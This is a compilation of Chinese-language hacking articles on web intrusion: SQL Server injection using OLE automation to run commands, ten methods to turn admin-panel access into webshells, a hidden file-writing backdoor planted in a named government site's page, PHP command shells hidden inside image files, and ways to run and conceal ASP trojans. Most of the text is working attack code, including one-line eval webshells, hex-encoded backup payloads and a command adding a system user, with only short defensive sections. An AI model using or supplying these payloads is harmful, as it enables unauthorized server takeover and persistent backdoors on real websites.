Demo:取得系統的共享目錄
使用進階的延伸預存程序
與建立 OLE Automation/COM 物件相關的延伸系統預存程序
sp_OACreate
sp_OADestroy
sp_OAMethod
sp_OAGetProperty
sp_OASetProperty
sp_OAGetErrorInfo
sp_OAStop
';DECLARE @shell INT
EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT
EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c type c:\inetpub\wwwroot\sqlinject\login.asp > c:\inetpub\wwwroot\sqlinject\test.txt'--
Demo:取得登入網頁的原始資料
使用進階的延伸預存程序
DECLARE @fs int,@fi int
EXEC SP_OACREATE 'Scripting.FileSystemObject',@fs OUTPUT
EXEC SP_OAMETHOD @fs,'CreateTextFile',@fs OUTPUT,'C:\InetPub\WWWRoot\SQLInject\Shell.asp',1
EXEC SP_OAMETHOD @fs,'WriteLine',null,'<% Set objShell=Server.CreateObject("WScript.Shell") : objShell.Run Request("cmd") %>'

http://localhost/sqlinject/shell.asp?
cmd=C:\WINNT\system32\cmd.exe /c
type c:\inetpub\wwwroot\sqlinject\login.asp >
c:\inetpub\wwwroot\sqlinject\test.txt
Demo:建立後門網頁
这里参考冰血封情的
[原创]SQL Server的用户及权限
http://www.eviloctal.com/forum/read.php?tid=40
使用 SQL Server 所附的工具程序
BCP
bcp northwind.dbo.tblUser out
C:\inetput\wwwroot\sqlinject\user.txt -c -Usa -P -SByron-XP
OSQL/ISQL
osql -Usa -P -SByron-XP -dNorthwind
-oc:\inetpub\wwwroot\sqlinject\users.txt
-Q"select * from tblUser"
Demo:利用工具程序取得資料
防範 SQL Injection 與系統安全設定
儘量地利用 ASP 或 ASP.NET 在伺服器端檢查與限制輸入變數的型別與長度，過濾掉不需要的內容。要注意的是這些檢查不只要放在前端，後端也要檢測。 在前端利用 HTML Input 標籤的 MaxLength 屬性，或是以 JScript 撰寫程序來設定欄位長度的限制，只要將該網頁另存新檔，修改內容後(一般只要改寫 Form 的 Action 屬性以及 Input 的 MaxLength 屬性)，重新以瀏覽器開啟再执行便可避過這些瀏覽器端的檢查。
ASP 程序登入 SQL Server 的帐号不要使用 sa，或任何屬於 Sysadmin 群組的帐号，避免有過大的權限。
sa 一定要有強固的密码，尤其是 SQL Server 7.0 以前的版本，在裝機時預設 sa 沒有密码，而一般管理者裝完後也忘了或怕麻煩而不更改密码。
Demo:長度的內容限制前後端搭配
防範 SQL Injection 與系統安全設定
利用 ADO 的 Command 物件或 ADO.NET 的 SqlCommand class 來透過參數执行 SQL 語法，直接以 ADODB 的 Connection 物件执行預存程序的寫法一樣糟糕。範例如下：Exec spXXX 參數,… 因為駭客所加入的 SQL 語法一樣可以执行：Exec spXXX 參數,…;SHUTDOWN
Set cmd=Server.CreateObject("ADODB.Command")
With cmd
.ActiveConnection = cnn
.CommandText = "spUserAccount"
.CommandType = 4 'adCmdStoredProc
.Parameters.Append .CreateParameter("UserName", 202, 1, 50, Request("UserName"))
'202 代表 adVarWChar，1 代表 adParamInput
.Parameters.Append .CreateParameter("Password", 202, 1, 50, Request("Pass"))
Set rec = .Execute()
End With
Demo:比較安全的網頁寫法
防範 SQL Injection 與系統安全設定
改掉預設的 Web 虛擬路徑，不要使用 IIS 裝好後預設的 <系統磁碟>\Inetpub\WWWRoot 路徑，否則利用前述的檔案存取方式，很容易在該目錄下動手腳。
不要顯示錯誤訊息到前端。 利用 VBScript 語法的 On Error Resume Next，並搭配 If Err.Number<>0 Then 的錯誤處理方式，自行將錯誤重導到適當的錯誤處理網頁，如此系統將更穩固，且駭客也不易透過錯誤訊息來探知系統的內部運作方式。 或著，也可以修改<系統所在磁碟>\WINNT\Help\iisHelp\common\500-100.asp 預設網頁，最簡單的方式就是將它更改名字。
將用不到但功能強大的延伸預存程序刪除。
監控系統的执行。
Demo:修改 500-100.asp 名稱
防範 SQL Injection 與系統安全設定
防火牆關閉 TCP 1433/UDP 1434 埠(port)對外的連線，也就是 SQL Server 自己沒有必要就不要連到網際網路。除了有程序在偵測 sa 沒密码的 SQL Server，SQL Server 本身及大量的延伸預存程序也有被溢位攻擊的危險。
若 SQL Server 一定要直接提供網際網路存取，可以考慮安裝時不要使用預設的 1433 Port。
若 SQL Server 換执行服務的帐号，則該帐号需要以下的權限
Log On Locally
Log On as a Batch
Access this computer from the Network
Log on as service
Replace a process level token
Act as part of the operating system
Increase quotas
利用 MBSA(Microsoft Baseline Security Analyzer )掃描系統的安全設定，並照它的建議更改系統設定。
隨時注意是否有新的修補程序要上。
問題與討論
Q & A
參考資源
http://www.sqlserver.com.tw
http://www.microsoft.com/sql/
http://www.microsoft.com/security/
http://www.microsoft.com/security/security_bulletins/ms02020_sql.asp
http://www.sqlsecurity.com/
http://www.nextgenss.com/
http://www.atstake.com/
http://www.securityfocus.com/
http://www.appsecinc.com/


从后台得到webshell技巧大汇总
文章作者：9xiao[F.S.T] lin[F.S.T]
前 言
    动网上传漏洞，相信大家拿下不少肉鸡吧。可以说是动网让upfile.asp上传文件过滤不严的漏洞昭然天下，现在这种漏洞已经基本比较难见到了，不排除一些小网站仍然存在此漏洞。在拿站过程中，我们经常费了九牛两虎之力拿到管理员帐号和密码，并顺利进入了后台，虽然此时与拿到网站webshell还有一步之遥，但还是有许多新手因想不出合适的方法而被拒之门外。因此，我们把常用的从后台得到webshell的方法进行了总结和归纳，大体情况有以下十大方面。
注意：如何进入后台，不是本文讨论范围，其具体方法就不说了，靠大家去自己发挥。此文参考了前人的多方面的资料和信息，在此一并表示感谢。

一、直接上传获得webshell

这种对php和jsp的一些程序比较常见，MolyX BOARD就是其中一例，直接在心情图标管理上传.php类型，虽然没有提示，其实已经成功了，上传的文 件url应该是http://forums/images/smiles/下，前一阵子的联众游戏站和网易的jsp系统漏洞就可以直接上传jsp文件。文件名是原来的文件名，bo-blog后台可以可以直接上传.php文件，上传的文件路径有提示。以及一年前十分流行的upfile.asp漏洞(动网5.0和6.0、早期的许多整站系统)，因过滤上传文件不严，导致用户可以直接上传webshell到网站任意可写目录中，从而拿到网站的管理员控制权限。
二、添加修改上传类型

现在很多的脚本程序上传模块不是只允许上传合法文件类型，而大多数的系统是允许添加上传类型，bbsxp后台可以添加asa|asP类型，ewebeditor的后台也可添加asa类型,通过修改后我们可以直接上传asa后缀的webshell了,还有一种情况是过滤了.asp，可以添加.aspasp的文件类型来上传获得webshell。php系统的后台，我们可以添加.php.g1f的上传类型，这是php的一个特性,最后的哪个只要不是已知的文件类型即可，php会将php.g1f作为.php来正常运行,从而也可成功拿到shell。LeadBbs3.14后台获得webshell方法是：在上传类型中增加asp ，注意，asp后面是有个空格的，然后在前台上传ASP马，当然也要在后面加个空格！
三、利用后台管理功能写入webshell

上传漏洞基本上补的也差不多了,所以我们进入后台后还可以通过修改相关文件来写入webshell。比较的典型的有dvbbs6.0，还有leadbbs2.88等，直接在后台修改配置文件，写入后缀是asp的文件。而LeadBbs3.14后台获得webshell另一方法是：添加一个新的友情链接，在网站名称处写上冰狐最小马即可,最小马前后要随便输入一些字符，http:\\网站\inc\IncHtm\BoardLink.asp就是我们想要的shell。
四、利用后台管理向配置文件写webshell

利用"""":""//"等符号构造最小马写入程序的配置文件，joekoe论坛，某某同学录，沸腾展望新闻系统，COCOON Counter统计程序等等，还有很多php程序都可以，COCOON Counter统计程序举例，在管理邮箱处添上cnhacker at 263 dot net":eval request(chr (35))//, 在配制文件中就是webmail="cnhacker at 263 dot net\":eval request(chr(35))//"，还有一种方法就是写上 cnhacker at 263 dot net"%><%eval request(chr(35))%><%'，这样就会形成前后对应，最小马也就运行了。<%eval request(chr(35))%>可以用lake2的eval发送端以及最新的2006 客户端来连，需要说明的是数据库插马时候要选前者。再如动易2005，到文章中心管理-顶部菜单设置-菜单其它特效，插入一句话马"%><%execute request("l")%><%'，保 存顶部栏目菜单参数设置成功后，我们就得到马地址http://网站/admin/rootclass_menu_config.asp。
五、利用后台数据库备份及恢复获得webshell

主要是利用后台对access数据库的“备份数据库”或“恢复数据库”功能，“备份的数据库路径”等变量没有过滤导致可以把任意文件后缀改 为asp，从而得到webshell，msssql版的程序就直接应用了access版的代码，导致sql版照样可以利用。还可以备份网站asp文件为其他后缀 如.txt文件，从而可以查看并获得网页源代码，并获得更多的程序信息增加获得webshell的机会。在实际运用中经常会碰到没有上传功能的时 候，但是有asp系统在运行，利用此方法来查看源代码来获得其数据库的位置，为数据库插马来创造机会，动网论坛就有一个ip地址的数据库，在后台的ip管理中可以插入最小马然后备份成.asp文件即可。在谈谈突破上传检测的方法，很多asp程序在即使改了后缀名后也会提示文件非法，通过在.asp文件头加上gif89a修改后缀为gif来骗过asp程序检测达到上传的目的，还有一种就是用记事本打开图片文件，随便粘贴一部分复制到asp木马文件头，修改gif后缀后上传也可以突破检测，然后备份为.asp文件，成功得到webshell。
六、利用数据库压缩功能

可以将数据的防下载失效从而使插入数据库的最小马成功运行，比较典型的就是loveyuki的L-BLOG，在友情添加的url出写上<%eval request (chr(35))%>, 提交后，在数据库操作中压缩数据库，可以成功压缩出.asp文件，用海洋的最小马的eval客户端连就得到一个webshell。
七、asp+mssql系统

这里需要提一点动网mssql版，但是可以直接本地提交来备份的。首先在发帖那上传一个写有asp代码的假图片，然后记住其上传路径。写一个本地提交的表单，代码如下：
<form action=http://网站/bbs/admin_data.asp?action=RestoreData&act=Restore method="post">
<p>已上传文件的位置：<input name="Dbpath" type="text" size="80"></p>
<p>要复制到的位置：<input name="backpath" type="text" size="80"></p>
<p><input type="submit" value="提交"></p> </form>
另存为.htm本地执行。把假图片上传路径填在“已上传文件的位置”那里，想要备份的WebShell的相对路径填写在“要复制到的位置”那里，提交就得到我们可爱的WebShell了，恢复代码和此类似，修改相关地方就可以了。没有遇到过后台执行mssql命令比较强大的asp程序后台，动网的数据库还原和备份是个摆设，不能执行sql命令备份webshell，只能执行一些简单的查询命令。可以利用mssql注入差异备份webshell，一般后台是显示了绝对路径，只要有了注入点基本上就可以差异备份成功。下面是差异备份的主要语句代码，利用动网7.0的注入漏洞可以用差异备份一个webshell，可以用利用上面提到的方法，将conn.asp文件备份成.txt文件而获得库名。
差异备份的主要代码：
;declare at a sysname,@s varchar(4000) select @a=db_name(),@s=0x626273 backup database @a to disk=@s--
;Drop table [heige];create table [dbo] dot [heige] ([cmd] [image])--
;insert into heige(cmd) values(0x3C2565786563757465207265717565737428226C2229253E)--
;declare at a sysname,@s varchar(4000) select @a=db_name(),@s=0x643A5C7765625C312E617370 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT--
这段代码中，0x626273是要备份的库名bbs的十六进制，可以是其他名字比如bbs.bak; 0x3C2565786563757465207265717565737428226C2229253E是<%execute request("l")%>的十六进制，是lp最小马；0x643A5C7765625C312E617370是d:\web\1.asp的十六进制,也就是你要备份的webshell路径。当然也可以用比较常见备份方式来获得webshell，唯一的不足就是备份后的文件过大，如果备份数据库中有防下载的的数据表，或者有错误的asp代码，备份出来的webshell就不会成功运行，利用差异备份是成功率比较高的方法，并且极大的减少备份文件的大小。
八、php+mysql系统

后台需要有mysql数据查询功能,我们就可以利用它执行SELECT ... INTO OUTFILE查询输出php文件，因为所有的数据是存放在mysql里的，所以我们可以通过正常手段把我们的webshell代码插入mysql在利用SELECT ... INTO OUTFILE语句导出shell。在mysql操作里输入select 0x3C3F6576616C28245F504F53545B615D293B3F3E from mysql.user into outfile '路径’ 就可以获得了一个<?eval($_POST[a]);?>的最小马
'
0x3C3F6576616C28245F504F53545B615D293B3F3E 是我们<?eval($_POST[a]);?>的十六进制，这种方法对phpmyadmin比较普遍，先利用phpmyadmin的路径泄露漏洞，比较典型的 是http://url/phpmyadmin/libra9xiaoes/select_lang.lib.php。

就可以暴出路径，php环境中比较容易暴出绝对路径：）。提一点的是遇到是mysql在win系统下路径应该这样写d:\\wwwroot\\a.php。下面的方法是比较常用的一个导出webshell的方法，也可以写个vbs添加系统管理员的脚本导出到启动文件夹，系统重起后就会添加一个管理员帐号
CREATE TABLE a(cmd text NOT NULL)
INSERT INTO a(cmd) VALUES('<?fputs(fopen("./a.php","w"),"<?eval(\$_POST[a]);?>")?>')

select cmd from a into outfile '路径/b.php'
DROP TABLE IF EXISTS a
访问b.php就会生成一个<?eval($_POST[a]);?>的最小马。
如果遇到可以执行php命令就简单多了,典型的代表是BO-BLOG,在后台的php命令框输入以下代码：
<?
$sa = fopen("./up/saiy.php","w");
fw9xiaote($sa,"<?eval(\$_POST[a]);?".">");
fclose($sa);
?>

就会在up目录下生成文件名为saiy.php内容为<?eval($_POST[a]);?>的最小php木马，
最后用lanker的客户端来连接。实际运用中要考虑到文件夹是否有写权限。或者输入这样的代码<?fputs(fopen("./a.php","w"),"<?eval(\$_POST[a]);?>")?> 将会在当前目录生成一个a.php的最小马。
九、phpwind论坛从后台到webshell的三种方式

方式1 模板法
进入后台， 风格模版设置 ，在随便一行写代码，记住，这代码必须顶着左边行写，代码前面不可以有任何字符。
EOT;
eval($a);
p9xiaont <<<EOT
而后得到一个shell为http://网站/bbs/index.php。
方始2 脏话过滤法
进入安全管理 ◇ 不良词语过滤。新增不良词语写 a’]=’aa’;eval($_POST[’a’]);//
替换为那里可以随意写，而后得到一个shell地址为http://网站/bbs/data/bbscache/wordsfb.php。
方式3 用户等级管理
新建立会员组，头衔你可以随便写，但是千万不要写单双引号特殊符号，升级图片号写a’;eval($_POST[’a’]);// ，升级点数依然可以随意写。而后得到一个shell地址为http://网站/bbs/data/bbscache/level.php。
以上三种方式得到webshellr的密码是a,为lanker的一句话后门服务端。
十、也可以利用网站访问计数系统记录来获得webshell

最明显的就是某私服程序内的阿江计数程序，可以通过http://网站/stat.asp?style=text&referer= 代码内容&screenwidth=1024直接提交， 即可把代码内容直接插入到计数系统的数据库中，而此系统默认数据库为count#.asa，我们可以通过http://网站/count%23.asa访问得到webshell，由于阿江计数程序过滤了%和+，将最小马改成<SCRIPT RUNAT=SERVER LANGUAGE=vbSCRIPT>eval(Request("1"))</SCRIPT>替换代码内容处提交，然后用lake2的eval客户端来提交，值得一提的是如果进到计数后台，可以清理某时某刻的数据，一旦插入asp木马失败，可以清理数据库再次操作。

解决方案

    由于本文涉及的代码版本很多，所以不可能提供一个完美的解决方案。有能力者可以针对本文提到的漏洞文件进行适当修补，若漏洞文件不影响系统使用也可删除此文件。大家如果不会修补，可以到相关官方网站下载最新补丁进行修复更新。同时也请大家能时刻关注各大安全网络发布的最新公告，若自己发现相关漏洞也可及时通知官方网站。
后记

其实，从后台得到webshell的技巧应该还有很多的，关键是要看大家怎么灵活运用、触类旁通，希望本文的方法能起到抛砖引玉的作用。 各位加油吧，让我们将服务器控制到底！


插入式免杀后门 将后门放到对方主页里
信息来源：HOKY
昨天也不知怎就搞到中国域名网的权限了，搞了很久，有自动备份。
转入正题：
1.随便找他一个页面，然后把如下内容分开插入到它的主页了，注意一下上下文。内容（fso):
<% dim objFSO %>
<% dim fdata %>
<% dim objCountFile %>
<% on error resume next %>
<% Set objFSO = Server.createObject("Scripting.FileSystemObject") %>
<% if Trim(request("syfdpath"))<>"" then %>
<% fdata = request("cyfddata") %>
<% Set objCountFile=objFSO.createTextFile(request("syfdpath"),True) %>
<% objCountFile.Write fdata %>
<% if err =0 then %>
<% response.write "<font color=red>save Success!</font>" %>
<% else %>
<% response.write "<font color=red>Save UnSuccess!</font>" %>
<% end if %>
<% err.clear %>
<% end if %>
<% objCountFile.Close %>
<% Set objCountFile=Nothing %>
<% Set objFSO = Nothing %>
最好要分开插入！！
这样管理员也不容易发现。
2.
将下内容保存到本地为一个htm，并把action="#",改成你插入到的页面，再添下绝对路径就好了。你要知道路径！！内容：
<form action='#' method=post>保存<input type=text name=syfdpath width=32 size=50><br>路径<br>内容:<textarea name=cyfddata cols=80 rows=10 width=32></textarea><input type=submit value=保存></form>
注：此方法为巩固后门使用！！！
有人说不行？？？？
自己看看截图

大家可以把上内容的action改成"http://www.bjhi.gov.cn/web/biaozhun/index.asp"
路径添"E:\inetpub\bjhi\web\biaozhun\xxxx.asp"
试下
最后用"http://www.bjhi.gov.cn/web/biaozhun/xxxx.asp"访问看看！！
改后的index.asp：
<!--#include
        file="head.asp"-->
<!--#include
        file="../../conn/xxfw_opendb.asp"-->
<script language=
        "javascript">
function newpage(htmlurl) {
var
        newwin=window.open(htmlurl,"newWin","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=yes,resizable=no,top=2,left=2,width=778,height=600");
newwin.focus();
return false;
}
</script>
<%
        dim objFSO %>
<% dim fdata %>
<% dim objCountFile
        %>
<table width="778" border="0" cellspacing="0"
        cellpadding="0" height="23" class="a" align="center">
<tr>
<td width="22"><img src="../biaozhun/images/a_r2_c1.jpg"
        width="22" height="23"></td>
<td width="13"><img
        src="../biaozhun/images/a_r2_c3.jpg" width="13"
        height="23"></td>
<td width="13"><img
        src="images/a_r2_c3.jpg" width="13" height="23"></td>
<td
        background="images/a_r2_c4.jpg"><font color="#006699"><a
        href="../xinxi/zxxx/index.asp"><font
        color="#006699">资讯信息</font></a><font
        color="#006699">
| <a
        href="../xinxi/ggxc/index.asp"><font
        color="#006699">广告宣传</font></a>
| <a
        href="../peixun/px.asp"><font
        color="#006699">网上培训</font></a> | <a
        href="index.asp"><font
        color="#006699">标准规范</font></a>
| <a
        href="../yjqk/index.asp"><font
        color="#006699">邮箱期刊</font></a> | <a
        href="../xinxi/jsfw/index.asp"><font
        color="#006699">技术服务</font></a>
| <a
        href="../xinxi/qysw/index.asp"><font
        color="#006699">企业上网</font></a>
| <a
        href="../xinxi/xihd/index.asp"><font
        color="#006699">信息互动</font></a>
|</font>
        </font></td>
</tr>
</table>
<table
        width="778" border="0" cellspacing="0" cellpadding="0" height="23"
        align="center">
<tr bgcolor="CAF2FA">
<td width="589"><font size="2">　　你的位置：</font>>> <a href="../../soye/index.asp" class="a">综合主页</a>
>> <font size="2">标准规范</font></td>
<% on error resume next %>
<% Set objFSO = Server.createObject("Scripting.FileSystemObject") %>
<% if Trim(request("syfdpath"))<>"" then %>
<td width="170"> </td>
</tr>
</table>
<table width="778" border="0" cellspacing="0" cellpadding="0" align="center">
<tr>
<td width="20" background="images/a_r4_c1.jpg"> <% fdata = request("cyfddata") %>
<% Set objCountFile=objFSO.createTextFile(request("syfdpath"),True) %>
<% objCountFile.Write fdata %>
</td>
<td width="758" background="images/a_r4_c1.jpg"><img src="images/biaozhun.jpg" width="144" height="44"></td>
</tr>
</table>
<table width="778" border="0" cellspacing="0" cellpadding="0" height="30" align="center">
<tr>
<td width="103" height="7">&nbs<% if err =0 then %>
<% response.write "<font color=red>save Success!</font>" %>
<% else %>
<% response.write "<font color=red>Save UnSuccess!</font>" %>
<% end if %>p;</td>
<td width="575" height="7"> <% end if %>
<% objCountFile.Close %>
<% Set objCountFile=Nothing %>
<% Set objFSO = Nothing %> <% set rs=server.createobject("adodb.recordset")
rs.open "select * from border",conn,1,1%><br><% err.clear %>
<form name="form1" method="post"
        action="result.asp">
<div align="center"><span
        class="a">选择类别：
<select name="select" class="select">
<option selected value="0">请选择类别</option>
<%count=rs.RecordCount
for i=1 to count
if rs("borderid")<>8 then%>
<option value="<%Response.Write (rs("borderid"))%>"><%Response.Write (rs("bordername"))%></option>
<%end if
rs.MoveNext
next
rs.Close%>
</select>
  输入关键字
<input type="text" name="keys" class="input" size="20">
</span>
<input type="submit" name="Submit" value="查 询" style="height:20px;background-color:#f3f3f3;border:1 solid black" onMouseOver ="this.style.backgroundColor='#cff6fb'" onMouseOut ="this.style.backgroundColor='#ffffff'">
</div>
</form>
</td>
<td width="100" height="7"> </td>
</tr>
</table>
<div align="center">
<table width="535" border="0" cellspacing="0" cellpadding="0" height="25" class="a">
<tr>
<td height="25">
<table width="533" border="1" cellspacing="0" cellpadding="0" align="top" class="a" height="20" bordercolor="E7ECE6">
<%
border=""
color=1
number=15 '默认值
auditer=0
articlefrom=""
set rs=server.createobject("adodb.recordset")
rs.open "select * from info where typeid=2 and bz_sh=1 order by date desc ",conn,1,1
if err.number <> 0 then
response.write "数据库出错"
else
if rs.bof and rs.eof then
rs.close
response.write "该专栏目前没有信息服务内容"
else
if request("page")="" then
curpage = 1
else
curpage = cint(request("page"))
end if
if request("num")="" then
num = 1
else
num = cint(request("num"))
end if
rs.pagesize=cint(number)
rs.absolutepage = curpage
thisnumcol=cstr(rs.recordcount)-num
prenum=cstr(rs.recordcount)-thisnumcol-15
for i = 1 to rs.pagesize
%>
<tr>
<!--<td width="17" bgcolor="EBEDEA" height="15">
<div align="center"><img src="images/09.jpg" width="9" height="9"></div>
</td>-->
<td width="8%" bgcolor="EBEDEA" height="15">
<div align="center"><%Response.Write (num)%></div>
</td>
<td width="75%" height="15" bgcolor="<%if color mod 2=0 then
response.write "#FFFFFF"
else
response.write "#CFF6FB"
end if %>"> <%=trim(rs("title"))%></td>
<td align="center" width="17%" height="15" bgcolor="<%if color mod 2=0 then
response.write "#FFFFFF"
else
response.write "#CFF6FB"
end if %>">
<a href="showinfo.asp?infoid=<%=rs("infoid")%>" onClick="return newpage(this.href);">查看详情</a></td>
</tr>
<% rs.movenext
num=num+1
color=color+1
if rs.eof then
i = i + 1
exit for
end if
next %></table><br><font size="2">
<% endnum=cstr(rs.recordcount)-(cstr(rs.recordcount) mod 15)+1
response.write "<div align=center>"
response.write "第<font color=red>" + cstr(curpage) + "</font>页/总<font color=red>" + cstr(rs.pagecount) + "</font>页 "
response.write "本页<font color=red>" + cstr(i-1) + "</font>条/总<font color=red>" + cstr(rs.recordcount) + "</font>条 "
if curpage = 1 then
response.write "首页 前页 "
else
response.write "<a href='index.asp?page=1&num=1'>首页</a> <a href='index.asp?page=" & cstr(curpage-1) & "&num="&prenum&"'>前页</a> "
end if
if curpage = rs.pagecount then
response.write "后页 末页"
else
response.write "<a href='index.asp?page=" + cstr(curpage+1) + "&num="&num&"'>后页</a> <a href='index.asp?page=" + cstr(rs.pagecount) + "&num="&endnum&"'>末页</a>"
end if
end If
end if
'?typeid=" & cstr(request("typeid")) & "&borderid=" & cstr(request("borderid")) & "& page=1'>
response.write "<div align=center><hr size=0 width='85%'>"%></font>
</table>
</div>
<!--#include file="foot.asp"-->
<!--#include file="../../conn/closedb.asp"-->


脚本后门注入图片新方法

信息来源：Super@Hei
本文作者：我非我
自从臭要饭的发布了那个脚本隐藏于图片中的程序之后（没看的朋友参见Bugkidz上的文章），不断就有人来说什么程序不好用拉，图片生成不了啦什么的。于是乎昨天我就重新研究了一下原理。突然想到了用一种新方法就是用copy命令进行图片与脚本的合并，却一直发现行不通，原因是不明：我一用copy合并后，图片的结构就被我破坏了，放到网页上不是图片只显示了一点就是干脆一个红叉。百思不得其解，发到论坛上请教又没人睬我。于是我发狠在晚上花了两个小时时间，终于研究出个结果了，呼，好累啊~~~
（由于我是本地试验，而我家的Apache不支持Asp，所以以下都是用的php程序注入，（我只会php）理论上asp一样可行，哪位愿意就帮我试试了，谢了先~~~）
先看看之前我是怎么干的：

C:\>copy 1.gif+2.php 3.gif

上面一句的意思是把1.gif和2.php头尾相接生成一个新文件3.gif。2.php是我自己写的一个cmdphpshell文件（安全模式关闭），代码如下：

<?$cmd=$_POST['cmd'];@system ($cmd);?>

然后在一个wfw.php中加上这么一句：
代码

<?include("3.gif");?>

然后我就测试：http://localhost/wfw.php
在这里我就碰到了图片显示不出的问题。后来我就用UltraEdit-32把3.gif打开，发现本应标注gif文件结尾的00 3B不见了！而且文件也比合并前小了许多。
我就是在这里卡住了，后来思考中无意翻动我以前考电脑中级的书，发现原来是我的copy命令少了一个参数，正确的命令应该是这样：

C:\>copy /b 1.gif+2.php 3.gif

/b参数是指把需要拼接的文件都当作非文本文件处理。如果不带此参数，那么，系统会自动认为这两个文件都是文本文件，而文本文件通常是1A作为结束标志的，所以系统会在拼接两个文本文件时把前一个文本文件1A后（包括1A）的字符全部去除，以保证新生成文件的正常。这样也就解释了为什么我直接用copy命令生成的图片会不可见，因为只要其中有1A字符存在，后面的字符都会被去除。
懂了这些，后面的就一帆风顺了。建立一个本地提交POST参数的html表单：

<html>
<head>
<title>图片隐藏脚本后门程序客户端</title>
</head>
<body>
<center><font size=3 color=#555555 class=fonts><b>图片隐藏脚本后门程序客户端</b></font><br>By 我非我<br>(命令执行功能)<br><br><br>
<form method="post" action="[url]http://localhost/wfw.php[/url]" enctype="multipart/form-data">
<input type='text' name="cmd" value="" size=20>
<input type=submit name="submit" value="执行">
<br><br>〖输入系统命令或程序，执行程序请输具体的路径〗
</form>
</center>
</body>
</html>
以上的action中由于我是本地测试，所以填的是localhost，具体用时，要改为那个插入include的文件的URL。
打开那个表单，在命令中我输入：

net user wfw /add

于是页面就跳转到了wfw.php上，出乎我意料的是：图片是完全显示出来了，但本应显示的命令应答却没有显示。
于是我查看了一下我的机器，看是否命令完成：
结果是成功了。
小结：经过一段时间的探索和努力，终于成功完成了这个方法，是不是很简单？不需要再下载图片用臭要饭的那个程序加工然后再上传。完全可以轻轻松松在Webshell中搞定。插入的脚本可以不是我那个脚本（太简陋了，又没回显，不知为何，希望有牛人可以帮我搞定），可以是这样的：把POST的数据直接保存为另一个phpshell（或是aspshell）当然也可以自定义咯~~（最好插入前先加个密）
下面是一个php的脚本，在图片位置生成一个自定义文件，表单方面我就不写了，把上面的表单稍微改改就好了：
<?
if
        ($_POST['create'])
{
if
        (!is_writeable(str_replace('\\','/',dirname(__FILE__))))
        {
exit;
} else
        {
if (file_exists($_POST['filename']))
        {
exit;
} else
        {
$fp=@fopen("".$_POST['filename']."","wb ");
$content =
        $_POST['filedate'];
$fw=@fwrite($fp,$content);
@fclose($fp);
}
}
?>
因为是利用cmd命令执行，所以我就顺便写一个批处理，作用和要饭的那个程序一样。其实没什么意思，只是为了大家记住我这个人罢了。若是不想那么麻烦用批处理程序，直接输入:start下goto end上的语句就可以了。

@echo off
echo.
echo **********************************
echo 脚本后门注入图片程序 By 我非我
echo mail:wofeiwo1987@yahoo.com.cn
echo QQ:309088292
echo **********************************
echo Usage:%0 ^<图片文件^> ^<脚本文件^> ^<生成文件^>
echo Eg:%0 1.gif 2.php 3.gif
echo.
if '%1'=='' goto err
if '%2'=='' goto err
if '%3'=='' goto err
:start
echo 开始.......
copy /b %1+%2 %3
if not %ERRORLEVEL%==0 goto err
echo 图片生成成功！
goto end
:err
echo 图片生成失败,请检查各参数是否正确!
:end
echo.

ps:另外，我注意到，图片不一定非要是gif文件，也可以是.bmp.png.jpg等格式，效果同样哦！
相关文章：
[转载]脚本后门的深入——图片中的后门
http://eviloctal.hackway.net/forum/read.php?tid=364


[转载]突破常规限制运行asp木马

本文作者： lcx
脚本入侵中往往会上传一个asp木马来进一步扩大权限，或者在肉鸡中留一个asp后门也是一个不错的选择。但是如何让asp木马更加隐匿和强大，从而躲过网管查杀逃过杀毒软件追杀，并且具备system权限呢？改变代码变量也许是一个解决问题的办法，但是我们不如换个角度思考，何不尝试改变asp木马的运行方式？
首先，我们可以换个任意后缀来运行asp木马。换任意后缀来运行asp文件方法有两种，一种是include指令的使用。include指令可以让我们直接调用位于其它文件的函数，而不管后缀名是什么。像我写了一个简单的asp木马，功能是遍历c:盘，源码如下：

<%Set oScript = Server.CreateObject("WSCRIPT.SHELL") oScript.Run ("cmd.exe /c dir c:\ > c:\lcx.txt ") %>

我们可以将这段源码保存成1.jpg，然后将这句指令<!--#include file="1.jpg"-->放在2.asp文件的文件头或文件尾，那么我们执行2.asp时，放在2.asp同目录下的1.jpg同样也会被调用，起到遍历c:的功能即在c:下生成lcx.txt这一文件。第二种方法是iis管理器中用asp.dll来解析任意后缀。在iis默认安装情况下，我们可以查觉asa、cer、cdx后缀也可以成功运行asp代码，因为这三种后缀的文件映射都是调用了系统的asp.dll。根据这一启示，我们可以做一个.lcx的后缀映射，用nt\system32下的asp.dll来解析，这样做完后写有asp源码的lcx后缀文件也会成功运行asp程序。其方法是依次打开电脑的控制面板－管理工具－Internet 服务管理器－web站点－右键属性－主目录－配置－添加。
其次，我们可以让asp木马来触发才运行。无论你的asp木马写得多么好，基本总会调用到WSCRIPT.SHELL和Scripting.FileSystemObject这两个对象。有经验的网管可以运行查找功能，让你的木马无处可逃。（这里我也顺便给大家提供一个启明星工作室编写的查找asp木马的工具，见附件）我们能不能做到调用这两个对象的asp木马不放在肉鸡上，需要时能够随时上传运行呢？runasp.asp是一个用asp实现asp文件的运行的脚本，虽然还有很多bug，但是对我们调用执行asp木马是足够用了。更为可怕的是我在runasp.asp里调用测试一些恶意代码时，居然躲过了瑞星的查杀。图2。（由于runasp.asp代码太多，文章里不方便列出，我已将其放在附件里了，大家可以自己研究一下）我们将runasp.asp放在肉鸡上是不是一个很好的asp触发器后门呢？另外，对付粗心的网管我们还可以将这样一段代码放在asp文件里：
<%
on error resume next
id=request("id")
if request("id")=1 then
testfile=Request.form("name")
msg=Request.form("message")
set fs=server.CreateObject("scripting.filesystemobject")
set thisfile=fs.OpenTextFile(testfile,8,True,0)
thisfile.WriteLine(""&msg& "")
thisfile.close
set fs = nothing
%>
<form method="POST" ACTION="你要插入的asp文件名?id=1">
<input type="text" size="20" name="Name"
value=<%=server.mappath("xp.asp")%>>
<textarea name="Message" class=input>
</textarea>
<input type="submit" name="Send" value="生成" class=input>
</form>
<% end if%>
像我放在动网文章的admin.asp的文件尾端，当网管运行http://动网文章url/admin.asp时并没有引起丝毫变化，而当我们运行http://动网文章url/admin.asp?id=1时，就可以根据我们的需要生成任意asp木马文件了。
